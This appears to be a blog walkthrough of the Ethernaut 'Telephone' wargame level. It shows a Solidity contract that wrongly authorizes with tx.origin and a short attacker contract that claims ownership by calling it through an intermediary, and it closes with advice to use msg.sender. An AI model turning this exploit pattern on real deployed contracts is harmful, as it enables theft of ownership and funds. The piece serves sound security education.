Here is a walkthrough for Ethernaut challenge #4 - Telephone. This challenge makes us aware of the consequences of misunderstanding the difference between tx.origin
and msg.sender
.
Requirements
For the following contract given:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
We need to claim ownership.
Solution
Solidity documentation on tx.origin shows the following warning:
Never use tx.origin for authorization.
So, why is that? Let's take a look at the following chain of calls:
Basically, the attacker's code can be executed on behalf of the owner if there a tx.origin
check and if a malicious actor will be able to trick the owner to initiate a transaction. In our case it's enough to create a mediator smart contract between owner and Telephone
.
Let's prepare the code. Having considered changeOwner()
, we can see that it is suitable for our purposes. So, we just have to call it from another contract:
Here is a code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
address telephoneAddress;
address newOwner;
constructor(address _telephoneContract) {
telephoneAddress = _telephoneContract;
newOwner = msg.sender;
}
function attack() public {
ITelephone(telephoneAddress).changeOwner(newOwner);
}
}
Calling the attack()
method does the trick. Ownership changed!
Summary
- Don't use
tx.origin
to check the ownership. - Use
msg.sender
if a caller validation is required.
If you like this article, feel free to subscribe to my social media accounts:
Top comments (0)